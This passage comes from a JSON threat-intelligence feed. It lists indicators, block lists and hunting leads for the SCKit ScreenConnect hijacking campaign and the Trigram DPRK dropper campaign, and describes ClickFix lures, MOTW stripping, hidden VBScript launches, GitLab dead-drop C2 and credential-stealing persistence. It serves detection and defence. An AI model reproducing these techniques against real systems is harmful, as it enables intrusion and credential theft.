"confidence": "med", "recommended_action": "alert", "description": "SHA1 of the staged SCKit toolkit ZIP fetched from the ns.mo7sen.dev stager.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "source_label": "Microsoft Threat Intelligence – SCKit abuses ScreenConnect to deploy remote access and target technician sessions", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "13ce33b19daee3963f7e15d461b191c38f6bc0d3", "type": "sha1", "confidence": "med", "recommended_action": "alert", "description": "SHA1 of ToolboxRelayUploader.exe, the tool that uploads a payload to the panel's Shared Toolbox using a stolen technician session.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "source_label": "Microsoft Threat Intelligence – SCKit abuses ScreenConnect to deploy remote access and target technician sessions", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" } ] }, { "value": "185.241.211.197", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Server hosting the rogue UpdateConnect ScreenConnect client in the 13 Nov 2026 SCKit wave; victims had a netsh portproxy redirecting 127.0.0.1:88 to it on port 80.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" } ] }, { "value": "007.from-ak.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attacker relay (port 88) that the rogue UpdateConnect ScreenConnect clients connect to in the 13 Nov 2026 SCKit wave.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt.kql", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt.spl", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt_raw.spl", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt.yaral", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt.yaral" } ] }, { "id": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop", "folder": "threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop", "name": "Trigram: DPRK Dropper Chain Targeting AI, Blockchain and Logistics (Kimsuky / UNK_DeadDrop)", "short": "Trigram DPRK dropper (Kimsuky / UNK_DeadDrop)", "category": "APT / infostealer", "published": "2026-11-11", "entry_date": "2026-11-11 17:20", "last_updated": "2026-11-11", "seq": 17, "headline": "DPRK ClickFix and supply-chain dropper, tied to Kimsuky and UNK_DeadDrop, that steals wallets and credentials", "summary": "Stormshield's Cyber Threat Intelligence team, in a report published on 11 November 2026, describes Trigram, a campaign targeting the AI, blockchain and logistics sectors across Europe and the United States. Operators impersonate about 50 companies with fake job offers, invitations to a conference branded ICAGLLMBT, and parcel-tracking pages, then use a ClickFix step that looks like anti-spam verification and swaps a harmless command for a downloader. Separate droppers for Windows, macOS and Linux prepare a Node.js environment, fetch a JavaScript payload named install_guard.js, and on Windows strip the Mark-of-the-Web before launching a hidden VBScript worker, ~nvdg_worker.vbs, with wscript.exe //B. The payload does not hard-code its command-and-control server; it reads a GitLab project named *-indexings/tasks as a dead drop. The same operators, in SafeDep's 3 November 2026 report, force-pushed a forged commit to the popular antd-img-crop GitHub repository so that npm run build installed the OverLord stealer, and ran a fake Amber Group careers portal that led to the same loaders. Stormshield attributes Trigram with high confidence to North Korea as a continuation of the UNK_DeadDrop cluster and the Kimsuky group (APT-43), by overlapping infrastructure and tooling with Proofpoint (asteara.org and 170.205.29.83, tracked since April 2026), SafeDep (icagllmbt.space, the gaganata and chestsoi C2 hosts, and the GitLab dead drop) and Genians (the console super-admin address eros1030109@gmail.com and 170.205.29.83). Proofpoint had observed UNK_DeadDrop luring developers at close to 100 organisations in finance, cryptocurrency, education and technology with job-offer emails and trojanized repositories that delivered a modified OverLord framework. Blocked indicators are high confidence, most of them appearing in more than one of these reports; everything else stays at medium confidence for alerting and hunting, and listed IP addresses are alerts rather than blocks because they sit on cheap or shared hosting. Do not block gitlab.com, github.com, gmail.com or genuine Google Update software.", "caveat": null, "targets": { "countries": [ { "code": "US", "name": "United States" } ], "regions": [ "Europe", "United States" ], "sectors": [ "Artificial intelligence", "Blockchain and cryptocurrency", "Logistics", "Finance", "Education", "Technology" ], "note": "Stormshield says the Trigram campaign targets the AI, blockchain and logistics sectors across Europe and the United States, and does not publish a per-country victim list. Proofpoint's earlier UNK_DeadDrop reporting, which Stormshield treats as the same cluster, describes targeting at close to 100 organisations in finance, cryptocurrency, education, technology and several other sectors, without naming individual countries in the text. South Korea is not listed as a victim geography in these sources and was not added.", "source": { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "label": "Stormshield Customer Security Lab – Trigram Campaign", "name": "Stormshield" } }, "mitre": [ { "id": "T1566.002", "name": "Phishing: Spearphishing Link", "url": "https://attack.mitre.org/techniques/T1566/002/" }, { "id": "T1204.004", "name": "User Execution: Malicious Copy and Paste", "url": "https://attack.mitre.org/techniques/T1204/004/" }, { "id": "T1195.002", "name": "Supply Chain Compromise: Compromise Software Supply Chain", "url": "https://attack.mitre.org/techniques/T1195/002/" }, { "id": "T1059.003", "name": "Windows Command Shell", "url": "https://attack.mitre.org/techniques/T1059/003/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1059.005", "name": "Visual Basic", "url": "https://attack.mitre.org/techniques/T1059/005/" }, { "id": "T1059.007", "name": "JavaScript", "url": "https://attack.mitre.org/techniques/T1059/007/" }, { "id": "T1027", "name": "Obfuscated Files or Information", "url": "https://attack.mitre.org/techniques/T1027/" }, { "id": "T1553.005", "name": "Subvert Trust Controls: Mark-of-the-Web Bypass", "url": "https://attack.mitre.org/techniques/T1553/005/" }, { "id": "T1102.001", "name": "Web Service: Dead Drop Resolver", "url": "https://attack.mitre.org/techniques/T1102/001/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1036", "name": "Masquerading", "url": "https://attack.mitre.org/techniques/T1036/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1543.001", "name": "Create or Modify System Process: Launch Agent", "url": "https://attack.mitre.org/techniques/T1543/001/" }, { "id": "T1543.002", "name": "Create or Modify System Process: Systemd Service", "url": "https://attack.mitre.org/techniques/T1543/002/" }, { "id": "T1555.003", "name": "Credentials from Password Stores: Credentials from Web Browsers", "url": "https://attack.mitre.org/techniques/T1555/003/" }, { "id": "T1555.001", "name": "Credentials from Password Stores: Keychain", "url": "https://attack.mitre.org/techniques/T1555/001/" } ], "recommended_actions": [ "Hunt DeviceProcessEvents for Mark-of-the-Web stripping (Unblock-File or :Zone.Identifier) followed within 10 minutes on the same host by wscript.exe //B, especially when the command line contains nvdg_worker, and exclude packaging or deployment-agent accounts that legitimately unblock content and run hidden VBScript.", "Block the high-confidence C2 and dashboard domains (icagllmbt.space, the gaganata, fallgganata, chestsoi and asteara hosts) at DNS and in Defender XDR; alert on the remaining lure domains and on every listed IP, and do not block gitlab.com, github.com, gmail.com or genuine Google software.", "Search proxy and endpoint logs for GitLab paths /drop-indexings/tasks and /up-indexings/tasks, and for downloads of install_guard.js, verify_w, verify_m or /guard-install-log and /guard-launcher-result.", "Look for persistence named GoogleUpdateSupporterNode, com.google.UpdateSupporter or google-agent.service, for ~nvdg_worker.vbs in %TEMP%, and for portable Node.js running install_guard.js from a temp folder.", "Treat unexpected job, conference or parcel-tracking pages that ask the user to paste a verification command as ClickFix, and rotate browser, wallet, SSH and cloud credentials on any host that ran the payload." ], "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "label": "Stormshield Customer Security Lab – Trigram Campaign", "name": "Stormshield" }, { "url": "https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal", "label": "Proofpoint – Don't Fear the Repo: UNK_DeadDrop Phishing Campaign Targets Developers to Steal Cryptocurrency", "name": "Proofpoint" }, { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "name": "SafeDep" }, { "url": "https://www.genians.co.kr/en/blog/threat_intelligence/kimsuky_ai_llm", "label": "Genians – Kimsuky Integrates AI into Attack Operations", "name": "Genians" }, { "url": "https://www.octoprobe.ai/blog/kimsuky-operation-gitpower-github-c2/", "label": "OctoProbe – Kimsuky Operation GitPower GitHub C2", "name": "OctoProbe" }, { "url": "https://threatfox.abuse.ch/ioc/2016457/", "label": "threatfox.abuse.ch", "name": "ThreatFox" } ], "indicator_count": 275, "block_now_count": 11, "hunt_count": 264, "hunt_counts": { "alert": 264 }, "indicator_counts": { "domain": 203, "url": 23, "sha256": 17, "ipv4": 14, "filename": 9, "other": 5, "email": 4 }, "ioas": [ { "artefact": "MOTW stripped with Unblock-File or a :Zone.Identifier stream deletion, followed within 10 minutes on the same host by wscript.exe //B, especially when the command line contains nvdg_worker", "log_source": "Defender XDR DeviceProcessEvents (join on DeviceId within 10 minutes)", "why": "The Windows Trigram dropper lands with Mark-of-the-Web, uses cmd or PowerShell to strip MOTW, then launches a hidden VBScript worker (~nvdg_worker.vbs) with wscript.exe //B. Pairing is a strong lead (about 75), rising when the command line contains nvdg_worker (about 95). Deployment tooling that unblocks content and then runs a hidden VBScript can fire this; tune by excluding packaging service accounts and deployment-agent lineage. MOTW removal through direct API calls is not covered.", "action": "alert", "has_query": true, "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_name": "Stormshield", "title": "MOTW strip then hidden wscript within 10 minutes", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "wscript.exe //B launching ~nvdg_worker.vbs", "log_source": "Defender XDR DeviceProcessEvents and DeviceFileEvents", "why": "Stormshield's YARA and SafeDep both name ~nvdg_worker.vbs as the hidden Windows worker. A hidden wscript launch of that file is a high-signal event on its own, including when the earlier MOTW-strip event was missed.", "action": "alert", "has_query": true, "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_name": "Stormshield", "title": "Hidden wscript launching ~nvdg_worker.vbs", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Requests for GitLab paths /drop-indexings/tasks or /up-indexings/tasks, especially raw config.json", "log_source": "Web proxy, firewall or endpoint network logs", "why": "The stage-3 payload does not hard-code its C2. It reads a config.json from a GitLab project named *-indexings/tasks, which Stormshield and SafeDep observed rotating from drop-indexings to up-indexings. Hunt the path; do not block gitlab.com.", "action": "alert", "has_query": true, "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_name": "SafeDep", "title": "GitLab dead-drop for the current C2", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Downloads or execution of install_guard.js, verify_w or verify_m, including Node.js running install_guard.js from a temp folder", "log_source": "Defender XDR DeviceProcessEvents, DeviceFileEvents and DeviceNetworkEvents", "why": "The cross-platform dropper downloads a stage-2 loader named verify_w (Windows) or verify_m (Linux/macOS), prepares a portable Node.js if needed, then fetches install_guard.js (minimum 50 KB) and runs it. Those names are distinctive of this chain.", "action": "hunt", "has_query": true, "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_name": "Stormshield", "title": "install_guard.js or verify_w / verify_m loaders", "queries": [ "KQL", "SPL" ] }, { "artefact": "Persistence using fake Google Update names: scheduled task GoogleUpdateSupporterNode, LaunchDaemon com.google.UpdateSupporter, or systemd unit google-agent.service", "log_source": "Defender XDR DeviceProcessEvents and DeviceEvents, plus macOS and Linux host logs", "why": "SafeDep documents OverLord persisting as fake Google software after credential theft. A genuine Google Update install will not use these exact names. Windows hosts can be hunted in Defender; macOS and Linux often cannot, so check them directly.", "action": "hunt", "has_query": true, "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_name": "SafeDep", "title": "Fake Google Update persistence", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/block_now.txt", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/defender_xdr_indicators.csv", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt.kql", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt.spl", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt_raw.spl", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/hunt.yaral", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/iocs.csv", "download": "Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-11/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop", "share_url": "https://iocwatch.com/t/Trigram-DPRK-Dropper-Kimsuky-UNK-DeadDrop/", "indicators": [ { "value": "geoveral.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "lumenorbit.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "terraverro.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "albedorb.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "veriearth.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "swathely.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "nadirva.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "groundvy.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "bullishtalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "ambercouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "boytalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinnillion.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "seihires.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2scroller.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "availcouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "rdcouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "oslcouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "eignecloudhires.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "movementhires.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2taiko.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinearnest.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "lineahires.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "jointuring.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "pixelground.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "celestiatalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "mercortalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinsaga.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithaztec.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinfuel.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "hyperlanecouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "kaicouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – 